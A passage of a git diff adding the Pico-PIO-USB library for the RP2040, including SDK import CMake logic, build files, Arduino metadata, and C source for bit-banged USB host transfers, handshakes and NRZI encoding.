('${PICO_SDK_FETCH_FROM_GIT_TAG}')") +endif () + +if (PICO_SDK_FETCH_FROM_GIT AND NOT PICO_SDK_FETCH_FROM_GIT_TAG) + set(PICO_SDK_FETCH_FROM_GIT_TAG "master") + message("Using master as default value for PICO_SDK_FETCH_FROM_GIT_TAG") +endif() + +set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK") +set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable") +set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK") +set(PICO_SDK_FETCH_FROM_GIT_TAG "${PICO_SDK_FETCH_FROM_GIT_TAG}" CACHE FILEPATH "release tag for SDK") + +if (NOT PICO_SDK_PATH) + if (PICO_SDK_FETCH_FROM_GIT) + include(FetchContent) + set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR}) + if (PICO_SDK_FETCH_FROM_GIT_PATH) + get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}") + endif () + FetchContent_Declare( + pico_sdk + GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk + GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG} + ) + + if (NOT pico_sdk) + message("Downloading Raspberry Pi Pico SDK") + # GIT_SUBMODULES_RECURSE was added in 3.17 + if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0") + FetchContent_Populate( + pico_sdk + QUIET + GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk + GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG} + GIT_SUBMODULES_RECURSE FALSE + + SOURCE_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-src + BINARY_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-build + SUBBUILD_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-subbuild + ) + else () + FetchContent_Populate( + pico_sdk + QUIET + GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk + GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG} + + SOURCE_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-src + BINARY_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-build + SUBBUILD_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-subbuild + ) + endif () + + set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR}) + endif () + set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE}) + else () + message(FATAL_ERROR + "SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git." + ) + endif () +endif () + +get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}") +if (NOT EXISTS ${PICO_SDK_PATH}) + message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found") +endif () + +set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake) +if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE}) + message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK") +endif () + +set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE) + +include(${PICO_SDK_INIT_CMAKE_FILE}) diff --git a/pio_usb/CMakeLists.txt b/pio_usb/CMakeLists.txt new file mode 100644 index 0000000..c94806e --- /dev/null +++ b/pio_usb/CMakeLists.txt @@ -0,0 +1,26 @@ +set(lib_name pio_usb) +add_library(${lib_name} INTERFACE) + +set(dir ${CMAKE_CURRENT_LIST_DIR}/src) + +pico_generate_pio_header(${lib_name} ${dir}/usb_tx.pio) +pico_generate_pio_header(${lib_name} ${dir}/usb_rx.pio) + +target_sources(${lib_name} INTERFACE + ${dir}/pio_usb.c + ${dir}/pio_usb_device.c + ${dir}/pio_usb_host.c + ${dir}/usb_crc.c +) + +target_link_libraries(${lib_name} INTERFACE + pico_stdlib + pico_multicore + hardware_pio + hardware_dma +) + +target_include_directories(${lib_name} INTERFACE ${dir}) + +# enable all warnings +target_compile_options(${lib_name} INTERFACE -Wall -Wextra) diff --git a/pio_usb/library.properties b/pio_usb/library.properties new file mode 100644 index 0000000..6356880 --- /dev/null +++ b/pio_usb/library.properties @@ -0,0 +1,11 @@ +name=Pico PIO USB +version=0.7.2 +author=sekigon-gonnoc +maintainer=sekigon-gonnoc +sentence=Pico PIO USB library for Arduino +paragraph=Pico PIO USB library for Arduino +category=Communication +url=https://github.com/sekigon-gonnoc/Pico-PIO-USB +architectures=rp2040 +includes=pio_usb.h +depends=Adafruit TinyUSB Library diff --git a/pio_usb/src/pio_usb.c b/pio_usb/src/pio_usb.c new file mode 100644 index 0000000..05dce39 --- /dev/null +++ b/pio_usb/src/pio_usb.c @@ -0,0 +1,642 @@ +/** + * Copyright (c) 2021 sekigon-gonnoc + */ + +#pragma GCC push_options +#pragma GCC optimize("-O3") + +#include +#include +#include // memcpy + +#include "hardware/clocks.h" +#include "hardware/dma.h" +#include "hardware/pio.h" +#include "hardware/pio_instructions.h" +#include "hardware/sync.h" +#include "pico/bootrom.h" +#include "pico/stdlib.h" +#include "pico/platform.h" + +#include "pio_usb.h" +#include "usb_definitions.h" +#include "pio_usb_configuration.h" +#include "pio_usb_ll.h" +#include "usb_crc.h" + +#define UNUSED_PARAMETER(x) (void)x + +usb_device_t pio_usb_device[PIO_USB_DEVICE_CNT]; +pio_port_t pio_port[1]; +root_port_t pio_usb_root_port[PIO_USB_ROOT_PORT_CNT]; +endpoint_t pio_usb_ep_pool[PIO_USB_EP_POOL_CNT]; + +static uint8_t ack_encoded[5]; +static uint8_t nak_encoded[5]; +static uint8_t stall_encoded[5]; +static uint8_t pre_encoded[5]; + +//--------------------------------------------------------------------+ +// Bus functions +//--------------------------------------------------------------------+ + +static void __no_inline_not_in_flash_func(send_pre)(pio_port_t *pp) { + // send PRE token in full-speed + pp->low_speed = false; + uint16_t instr = pp->fs_tx_pre_program->instructions[0]; + pp->pio_usb_tx->instr_mem[pp->offset_tx] = instr; + + SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx); + + pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr); + pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag + dma_channel_transfer_from_buffer_now(pp->tx_ch, pre_encoded, + sizeof(pre_encoded)); + + while ((pp->pio_usb_tx->irq & IRQ_TX_EOP_MASK) == 0) { + continue; + } + // Wait for complete transmission of the PRE packet. We don't want to + // accidentally send trailing Ks in low speed mode due to an early start + // instruction that re-enables the outputs. + uint32_t stall_mask = 1 << (PIO_FDEBUG_TXSTALL_LSB + pp->sm_tx); + pp->pio_usb_tx->fdebug = stall_mask; // clear sticky stall mask bit + while (!(pp->pio_usb_tx->fdebug & stall_mask)) { + continue; + } + + // change bus speed to low-speed + pp->low_speed = true; + pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, false); + instr = pp->fs_tx_program->instructions[0]; + pp->pio_usb_tx->instr_mem[pp->offset_tx] = instr; + SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_ls_tx); + pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, true); + + // pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx); + // pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr); + // SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx); + + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false); + SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_ls_rx); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true); +} + +void __not_in_flash_func(pio_usb_bus_usb_transfer)(pio_port_t *pp, + uint8_t *data, uint16_t len) { + if (pp->need_pre) { + send_pre(pp); + } + + pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr); + dma_channel_transfer_from_buffer_now(pp->tx_ch, data, len); + pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag + + io_ro_32 *pc = &pp->pio_usb_tx->sm[pp->sm_tx].addr; + while ((pp->pio_usb_tx->irq & IRQ_TX_ALL_MASK) == 0) { + continue; + } + pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag + + if (pp->low_speed) { + // For Low speed host, wait until EOP is fully sent. Otherwise, we can send another packet + // before inter-packet delay timeout, which is 2-bit time by USB specs. + // For Full speed, our overhead is probably enough without this additional wait. + while (*pc <= PIO_USB_TX_ENCODED_DATA_COMP) { + continue; + } + } else { + while (*pc < PIO_USB_TX_ENCODED_DATA_COMP) { + continue; + } + } +} + +void __no_inline_not_in_flash_func(pio_usb_bus_send_token)(pio_port_t *pp, + uint8_t token, + uint8_t addr, + uint8_t ep_num) { + + uint8_t packet[4] = {USB_SYNC, token, 0, 0}; + uint16_t dat = ((uint16_t)(ep_num & 0xf) << 7) | (addr & 0x7f); + uint8_t crc = calc_usb_crc5(dat); + packet[2] = dat & 0xff; + packet[3] = (crc << 3) | ((dat >> 8) & 0x1f); + + uint8_t packet_encoded[sizeof(packet) * 2 * 7 / 6 + 2]; + uint8_t encoded_len = pio_usb_ll_encode_tx_data(packet, sizeof(packet), packet_encoded); + + pio_usb_bus_usb_transfer(pp, packet_encoded, encoded_len); +} + +void __no_inline_not_in_flash_func(pio_usb_bus_prepare_receive)(const pio_port_t *pp) { + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); + pio_sm_restart(pp->pio_usb_rx, pp->sm_rx); + pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr); + pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr2); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true); +} + +static inline __force_inline bool pio_usb_bus_wait_for_rx_start(const pio_port_t* pp) { + // USB 2.0 specs: 7.1.19.1: handshake timeout + // Full-Speed (12 Mbps): 1 bit time = 1 / 12 MHz = 83.3 ns --> 16 bit times = 1.33 µs + // Low-Speed (1.5 Mbps): 1 bit time = 1 / 1.5 MHz = 666.7 ns --> 16 bit times = 10.67 µs + + // We're starting the timing somewhere in the current microsecond so always assume the first one + // is less than a full microsecond. For example, a wait of 2 could actually be 1.1 microseconds. + // We will use 3 us (24 bit time) for Full speed and 12us (18 bit time) for Low speed. + uint32_t start = get_time_us_32(); + uint32_t timeout = pp->low_speed ? 12 : 3; + while (get_time_us_32() - start <= timeout) { + if ((pp->pio_usb_rx->irq & IRQ_RX_START_MASK) != 0) { + return true; + } + } + return false; +}; + +uint8_t __no_inline_not_in_flash_func(pio_usb_bus_wait_handshake)(pio_port_t* pp) { + if (!pio_usb_bus_wait_for_rx_start(pp)) { + return 0; + } + + int16_t idx = 0; + // Timeout in seven microseconds. That is enough time to receive one byte at low speed. + // This is to detect packets without an EOP because the device was unplugged. + uint32_t start = get_time_us_32(); + while (get_time_us_32() - start <= 7) { + if (idx < 2 && pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) { + uint8_t data = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24; + pp->usb_rx_buffer[idx++] = data; + + start = get_time_us_32(); // reset timeout when a byte is received + } else if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) != 0) { + break; // exit if we've gotten an EOP + } + } + + if (idx != 2 || pp->usb_rx_buffer[0] != USB_SYNC) { + return 0; // invalid handshake + } + + return pp->usb_rx_buffer[1]; +} + +int __no_inline_not_in_flash_func(pio_usb_bus_receive_packet_and_handshake)( + pio_port_t *pp, uint8_t handshake) { + uint16_t crc = 0xffff; + uint16_t crc_prev = 0xffff; + uint16_t crc_prev2 = 0xffff; + uint16_t crc_receive = 0xffff; + bool crc_match = false; + const uint16_t rx_buf_len = sizeof(pp->usb_rx_buffer) / sizeof(pp->usb_rx_buffer[0]); + int16_t idx = 0; + + // Per USB Specs 7.1.18 for turnaround: We must wait at least 2 bit times for inter-packet delay. + // This is essential for working with LS device specially when we overlocked the mcu. + // Pre-calculate number of cycle per bit time + // - Lowspeed: 1 bit time = (cpufreq / 1.5 Mhz) = clk_div_ls_tx.div_int*6Mhz / 1.5 Mhz = 4 * clk_div_ls_tx.div_int + // - Fullspeed 1 bit time = (cpufreq / 12 Mhz) = clk_div_fs_tx.div_int*48Mhz / 12 Mhz = 4 * clk_div_fs_tx.div_int + // Since there is also overhead, we only wait 1.5 bit for LS and no wait for FS + uint32_t turnaround_in_cycle = 0; + if (pp->low_speed) { + turnaround_in_cycle = 6 * pp->clk_div_ls_tx.div_int; // 1.5 bit time + } + + if (!pio_usb_bus_wait_for_rx_start(pp)) { + return -1; + } + + // Timing Critical: use local variable to reduce de-reference + PIO pio_usb_rx = pp->pio_usb_rx; + uint sm_rx = pp->sm_rx; + uint8_t *usb_rx_buffer = pp->usb_rx_buffer; + + // Timeout in seven microseconds. That is enough time to receive one byte at low speed. + // This is to detect packets without an EOP because the device was unplugged. + uint32_t start = get_time_us_32(); + while (1) { + if (pio_sm_get_rx_fifo_level(pio_usb_rx, sm_rx)) { + uint8_t data = pio_sm_get(pio_usb_rx, sm_rx) >> 24; + if (idx < rx_buf_len) { + usb_rx_buffer[idx] = data; + } + start = get_time_us_32(); // reset timeout when a byte is received + + if (idx >= 2) { + crc_prev2 = crc_prev; + crc_prev = crc; + crc = update_usb_crc16(crc, data); + crc_receive = (crc_receive >> 8) | (data << 8); + crc_match = ((crc_receive ^ 0xffff) == crc_prev2); + } + idx++; + } else if ((pio_usb_rx->irq & IRQ_RX_COMP_MASK) != 0) { + // Exit since we've gotten an EOP. + // Timing critical: per USB specs, handshake must be sent within 2-7 bit-time strictly + if (turnaround_in_cycle) { + busy_wait_at_least_cycles(turnaround_in_cycle); // wait for turnaround for LS only + } + + if (handshake == USB_PID_ACK) { + // Only ACK if crc matches + if (idx >= 4 && crc_match) { + pio_usb_bus_usb_transfer(pp, ack_encoded, 5); + return idx - 4; + } + } else if (handshake == USB_PID_NAK) { + pio_usb_bus_usb_transfer(pp, nak_encoded, 5); + } else { + pio_usb_bus_usb_transfer(pp, stall_encoded, 5); + } + break; + } else if (get_time_us_32() - start > 7) { + return -1; // device is probably unplugged + } + } + + return -1; +} + +static __always_inline void add_pio_host_rx_program(PIO pio, + const pio_program_t *program, + const pio_program_t *debug_program, + uint *offset, int debug_pin) { + if (debug_pin < 0) { + *offset = pio_add_program(pio, program); + } else { + *offset = pio_add_program(pio, debug_program); + } +} + +static void __no_inline_not_in_flash_func(initialize_host_programs)( + pio_port_t *pp, const pio_usb_configuration_t *c, root_port_t *port) { + // TX program should be placed at address 0 + pio_add_program_at_offset(pp->pio_usb_tx, pp->fs_tx_program, 0); + pp->offset_tx = 0; + usb_tx_fs_program_init(pp->pio_usb_tx, pp->sm_tx, pp->offset_tx, port->pin_dp, + port->pin_dm); + uint32_t sideset_fj_lk; + if (c->pinout == PIO_USB_PINOUT_DPDM) { + sideset_fj_lk = pio_encode_sideset(2, usb_tx_dpdm_FJ_LK); + } else { + sideset_fj_lk = pio_encode_sideset(2, usb_tx_dmdp_FJ_LK); + } + + pp->tx_start_instr = pio_encode_jmp(pp->offset_tx + 4) | sideset_fj_lk; + pp->tx_reset_instr = pio_encode_jmp(pp->offset_tx + 2) | sideset_fj_lk; + + add_pio_host_rx_program(pp->pio_usb_rx, &usb_nrzi_decoder_program, + &usb_nrzi_decoder_debug_program, &pp->offset_rx, + c->debug_pin_rx); + usb_rx_fs_program_init(pp->pio_usb_rx, pp->sm_rx, pp->offset_rx, port->pin_dp, + port->pin_dm, c->debug_pin_rx); + pp->rx_reset_instr = pio_encode_jmp(pp->offset_rx); + pp->rx_reset_instr2 = pio_encode_set(pio_x, 0); + + add_pio_host_rx_program(pp->pio_usb_rx, &usb_edge_detector_program, + &usb_edge_detector_debug_program, &pp->offset_eop, + c->debug_pin_eop); + eop_detect_fs_program_init(pp->pio_usb_rx, c->sm_eop, pp->offset_eop, + port->pin_dp, port->pin_dm, true, + c->debug_pin_eop); + + usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dp); + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dm); + pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dp); +} + +static void configure_tx_channel(uint8_t ch, PIO pio, uint sm) { + dma_channel_config conf = dma_channel_get_default_config(ch); + + channel_config_set_read_increment(&conf, true); + channel_config_set_write_increment(&conf, false); + channel_config_set_transfer_data_size(&conf, DMA_SIZE_8); + channel_config_set_dreq(&conf, pio_get_dreq(pio, sm, true)); + + dma_channel_set_config(ch, &conf, false); + dma_channel_set_write_addr(ch, &pio->txf[sm], false); +} + +static void apply_config(pio_port_t *pp, const pio_usb_configuration_t *c, + root_port_t *port) { + pp->pio_usb_tx = pio_get_instance(c->pio_tx_num); + pp->sm_tx = c->sm_tx; + pp->tx_ch = c->tx_ch; + pp->pio_usb_rx = pio_get_instance(c->pio_rx_num); + pp->sm_rx = c->sm_rx; + pp->sm_eop = c->sm_eop; + port->pin_dp = c->pin_dp; + + uint highest_pin; + if (c->pinout == PIO_USB_PINOUT_DPDM) { + port->pin_dm = c->pin_dp + 1; + highest_pin = port->pin_dm; + pp->fs_tx_program = &usb_tx_dpdm_program; + pp->fs_tx_pre_program = &usb_tx_pre_dpdm_program; + pp->ls_tx_program = &usb_tx_dmdp_program; + } else { + port->pin_dm = c->pin_dp - 1; + highest_pin = port->pin_dp; + pp->fs_tx_program = &usb_tx_dmdp_program; + pp->fs_tx_pre_program = &usb_tx_pre_dmdp_program; + pp->ls_tx_program = &usb_tx_dpdm_program; + } + +#if defined(PICO_PIO_USE_GPIO_BASE) && PICO_PIO_USE_GPIO_BASE+0 + if (highest_pin > 32) { + pio_set_gpio_base(pp->pio_usb_tx, 16); + pio_set_gpio_base(pp->pio_usb_rx, 16); + } +#else + (void)highest_pin; +#endif + + port->pinout = c->pinout; + + pp->debug_pin_rx = c->debug_pin_rx; + pp->debug_pin_eop = c->debug_pin_eop; + + pio_sm_claim(pp->pio_usb_tx, pp->sm_tx); + pio_sm_claim(pp->pio_usb_rx, pp->sm_rx); + pio_sm_claim(pp->pio_usb_rx, pp->sm_eop); +} + +static void port_pin_drive_setting(const root_port_t *port) { + gpio_set_slew_rate(port->pin_dp, GPIO_SLEW_RATE_FAST); + gpio_set_slew_rate(port->pin_dm, GPIO_SLEW_RATE_FAST); + gpio_set_drive_strength(port->pin_dp, GPIO_DRIVE_STRENGTH_12MA); + gpio_set_drive_strength(port->pin_dm, GPIO_DRIVE_STRENGTH_12MA); +} + +void pio_usb_bus_init(pio_port_t *pp, const pio_usb_configuration_t *c, + root_port_t *root) { + memset(root, 0, sizeof(root_port_t)); + + pp->pio_usb_tx = pio_get_instance(c->pio_tx_num); + dma_claim_mask(1<tx_ch); + configure_tx_channel(c->tx_ch, pp->pio_usb_tx, c->sm_tx); + + apply_config(pp, c, root); + initialize_host_programs(pp, c, root); + port_pin_drive_setting(root); + root->initialized = true; + root->dev_addr = 0; + + // pre-encode handshake packets + uint8_t raw_packet[] = {USB_SYNC, USB_PID_ACK}; + pio_usb_ll_encode_tx_data(raw_packet, 2, ack_encoded); + raw_packet[1] = USB_PID_NAK; + pio_usb_ll_encode_tx_data(raw_packet, 2, nak_encoded); + raw_packet[1] = USB_PID_STALL; + pio_usb_ll_encode_tx_data(raw_packet, 2, stall_encoded); + raw_packet[1] = USB_PID_PRE; + pio_usb_ll_encode_tx_data(raw_packet, 2, pre_encoded); +} + +//--------------------------------------------------------------------+ +// Application API +//--------------------------------------------------------------------+ + +endpoint_t *pio_usb_get_endpoint(usb_device_t *device, uint8_t idx) { + uint8_t ep_id = device->endpoint_id[idx]; + if (ep_id == 0) { + return NULL; + } else if (ep_id >= 1) { + return &pio_usb_ep_pool[ep_id - 1]; + } + return NULL; +} + +int __no_inline_not_in_flash_func(pio_usb_get_in_data)(endpoint_t *ep, + uint8_t *buffer, + uint8_t len) { + if (ep->has_transfer || ep->is_tx) { + return -1; + } + + if (ep->new_data_flag) { + len = len < ep->actual_len ? len : ep->actual_len; + memcpy(buffer, (void *)ep->buffer, len); + + ep->new_data_flag = false; + + return pio_usb_ll_transfer_start(ep, ep->buffer, ep->size) ? len : -1; + } + + return -1; +} + +int __no_inline_not_in_flash_func(pio_usb_set_out_data)(endpoint_t *ep, + const uint8_t *buffer, + uint8_t len) { + if (ep->has_transfer || !ep->is_tx) { + return -1; + } + + return pio_usb_ll_transfer_start(ep, (uint8_t *)buffer, len) ? 0 : -1; +} + +//--------------------------------------------------------------------+ +// Low Level Function +//--------------------------------------------------------------------+ + +void __no_inline_not_in_flash_func(pio_usb_ll_configure_endpoint)( + endpoint_t *ep, uint8_t const *desc_endpoint) { + const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint; + ep->size = d->max_size[0] | (d->max_size[1] << 8); + ep->ep_num = d->epaddr; + ep->attr = d->attr; + ep->interval = d->interval; + ep->interval_counter = 0; + ep->data_id = 0; +} + +// Encode transfer data to 2bit sequence represents TX PIO instruction address +uint8_t __no_inline_not_in_flash_func(pio_usb_ll_encode_tx_data)( + uint8_t const *buffer, uint8_t buffer_len, uint8_t *encoded_data) { + uint16_t bit_idx = 0; + int current_state = 1; + int bit_stuffing = 6; + for (int idx = 0; idx < buffer_len; idx++) { + uint8_t data_byte = buffer[idx]; + for (int b = 0; b < 8; b++) { + uint8_t byte_idx = bit_idx >> 2; + encoded_data[byte_idx] <<= 2; + if (data_byte & (1 << b)) { + if (current_state) { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K; + } else { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J; + } + bit_stuffing--; + } else { + if (current_state) { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J; + current_state = 0; + } else { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K; + current_state = 1; + } + bit_stuffing = 6; + } + + bit_idx++; + + if (bit_stuffing == 0) { + byte_idx = bit_idx >> 2; + encoded_data[byte_idx] <<= 2; + + if (current_state) { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J; + current_state = 0; + } else { + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K; + current_state = 1; + } + bit_stuffing = 6; + bit_idx++; + } + } + } + + uint8_t byte_idx = bit_idx >> 2; + encoded_data[byte_idx] <<= 2; + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_SE0; + bit_idx++; + + byte_idx = bit_idx >> 2; + encoded_data[byte_idx] <<= 2; + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_COMP; + bit_idx++; + + // terminate buffers with K + do { + byte_idx = bit_idx >> 2; + encoded_data[byte_idx] <<= 2; + encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K; + bit_idx++; + } while (bit_idx & 0x03); + + byte_idx = bit_idx >> 2; + return byte_idx; +} + +static inline __force_inline void prepare_tx_data(endpoint_t *ep) { + uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep); + uint8_t buffer[PIO_USB_EP_SIZE + 4]; + buffer[0] = USB_SYNC; + buffer[1] = (ep->data_id == 1) ? USB_PID_DATA1 + : USB_PID_DATA0; // USB_PID_SETUP also DATA0 + memcpy(buffer + 2, ep->app_buf, xact_len); + + uint16_t const crc16 = calc_usb_crc16(ep->app_buf, xact_len); + buffer[2 + xact_len] = crc16 & 0xff; + buffer[2 + xact_len + 1] = crc16 >> 8; + + ep->encoded_data_len = + pio_usb_ll_encode_tx_data(buffer, xact_len + 4, ep->buffer); +} + +bool __no_inline_not_in_flash_func(pio_usb_ll_transfer_start)(endpoint_t *ep, + uint8_t *buffer, + uint16_t buflen) { + if (ep->has_transfer) { + return false; + } + + ep->app_buf = buffer; + ep->total_len = buflen; + ep->actual_len = 0; + ep->failed_count = 0; + + if (ep->is_tx) { + prepare_tx_data(ep); + } else { + ep->new_data_flag = false; + } + + ep->transfer_started = false; + ep->transfer_aborted = false; + ep->has_transfer = true; + + return true; +} + +bool __no_inline_not_in_flash_func(pio_usb_ll_transfer_continue)( + endpoint_t *ep, uint16_t xferred_bytes) { + ep->app_buf += xferred_bytes; + ep->actual_len += xferred_bytes; + ep->data_id ^= 1; + + if ((xferred_bytes < ep->size) || (ep->actual_len >= ep->total_len)) { + // complete if all bytes transferred or short packet + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS); + return false; + } else { + if (ep->is_tx) { + prepare_tx_data(ep); + } + + return true; + } +} + +void __no_inline_not_in_flash_func(pio_usb_ll_transfer_complete)( + endpoint_t *ep, uint32_t flag) { + root_port_t *rport = PIO_USB_ROOT_PORT(ep->root_idx); + uint32_t const ep_mask = (1u << (ep - pio_usb_ep_pool)); + + rport->ints |= flag; + + if (flag == PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) { + rport->ep_complete |= ep_mask; + if (!ep->is_tx) { + ep->new_data_flag = true; + } + } else if (flag == PIO_USB_INTS_ENDPOINT_ERROR_BITS) { + rport->ep_error |= ep_mask; + } else if (flag == PIO_USB_INTS_ENDPOINT_STALLED_BITS) { + rport->ep_stalled |= ep_mask; + } else { + // something wrong + } + + ep->has_transfer = false; +} + +int pio_usb_host_add_port(uint8_t pin_dp, PIO_USB_PINOUT pinout) { + for (int idx = 0; idx < PIO_USB_ROOT_PORT_CNT; idx++) { + root_port_t *root = PIO_USB_ROOT_PORT(idx); + if (!root->initialized) { + root->pin_dp = pin_dp; + + if (pinout == PIO_USB_PINOUT_DPDM) { + root->pin_dm = pin_dp + 1; + } else { + root->pin_dm = pin_dp - 1; + } + root->pinout = pinout; + + gpio_pull_down(pin_dp); + gpio_pull_down(root->pin_dm); + pio_gpio_init(pio_port[0].pio_usb_tx, pin_dp); + pio_gpio_init(pio_port[0].pio_usb_tx, root->pin_dm); + gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT); + gpio_set_inover(root->pin_dm, GPIO_OVERRIDE_INVERT); + pio_sm_set_pindirs_with_mask64(pio_port[0].pio_usb_tx, pio_port[0].sm_tx, 0, + (1ull << pin_dp) | (1ull << root->pin_dm)); + port_pin_drive_setting(root); + root->initialized = true; + + return 0; + } + } + + return -1; +} + +#pragma GCC pop_options diff --git a/pio_usb/src/pio_usb.h b/pio_usb/src/pio_usb.h new file mode 100644 index 0000000..30a87d3 --- /dev/null +++ b/pio_usb/src/pio_usb.h @@ -0,0 +1,34 @@ + +#pragma once + +#include "pio_usb_configuration.h" +#include "usb_definitions.h" + +#ifdef __cplusplus + extern "C" { +#endif + +// Host functions +usb_device_t *pio_usb_host_init(const pio_usb_configuration_t *c); +int pio_usb_host_add_port(uint8_t pin_dp, PIO_USB_PINOUT pinout); +void pio_usb_host_task(void); +void pio_usb_host_stop(void); +void pio_usb_host_restart(void); +uint32_t pio_usb_host_get_frame_number(void); + +// Call this every 1ms when skip_alarm_pool is true. +void pio_usb_host_frame(void); + +// Device functions +usb_device_t *pio_usb_device_init(const pio_usb_configuration_t *c, + const usb_descriptor_buffers_t *buffers); +void pio_usb_device_task(void); + +// Common functions +endpoint_t *pio_usb_get_endpoint(usb_device_t *device, uint8_t idx); +int pio_usb_get_in_data(endpoint_t *ep, uint8_t *buffer, uint8_t len); +int pio_usb_set_out_data(endpoint_t *ep, const uint8_t *buffer, uint8_t len); + +#ifdef __cplusplus + } +#endif diff --git a/pio_usb/src/pio_usb_configuration.h b/pio_usb/src/pio_usb_configuration.h new file mode 100644 index 0000000..3635db4 --- /dev/null +++ b/pio_usb/src/pio_usb_configuration.h @@ -0,0 +1,52 @@ + +#pragma once + +typedef enum { + PIO_USB_PINOUT_DPDM = 0, // DM = DP+1 + PIO_USB_PINOUT_DMDP, // DM = DP-1 +} PIO_USB_PINOUT; + +typedef struct { + uint8_t pin_dp; + uint8_t pio_tx_num; + uint8_t sm_tx; + uint8_t tx_ch; + uint8_t pio_rx_num; + uint8_t sm_rx; + uint8_t sm_eop; + void* alarm_pool; + int8_t debug_pin_rx; + int8_t debug_pin_eop; + bool skip_alarm_pool; + PIO_USB_PINOUT pinout; +} pio_usb_configuration_t; + +#ifndef PIO_USB_DP_PIN_DEFAULT +#define PIO_USB_DP_PIN_DEFAULT 0 +#endif + +#define PIO_USB_TX_DEFAULT 0 +#define PIO_SM_USB_TX_DEFAULT 0 +#define PIO_USB_DMA_TX_DEFAULT 0 + +#define PIO_USB_RX_DEFAULT 0 +#define PIO_SM_USB_RX_DEFAULT 1 +#define PIO_SM_USB_EOP_DEFAULT 2 + +#define PIO_USB_DEBUG_PIN_NONE (-1) + +#define PIO_USB_DEFAULT_CONFIG \ + { \ + PIO_USB_DP_PIN_DEFAULT, PIO_USB_TX_DEFAULT, PIO_SM_USB_TX_DEFAULT, \ + PIO_USB_DMA_TX_DEFAULT, PIO_USB_RX_DEFAULT, PIO_SM_USB_RX_DEFAULT, \ + PIO_SM_USB_EOP_DEFAULT, NULL, 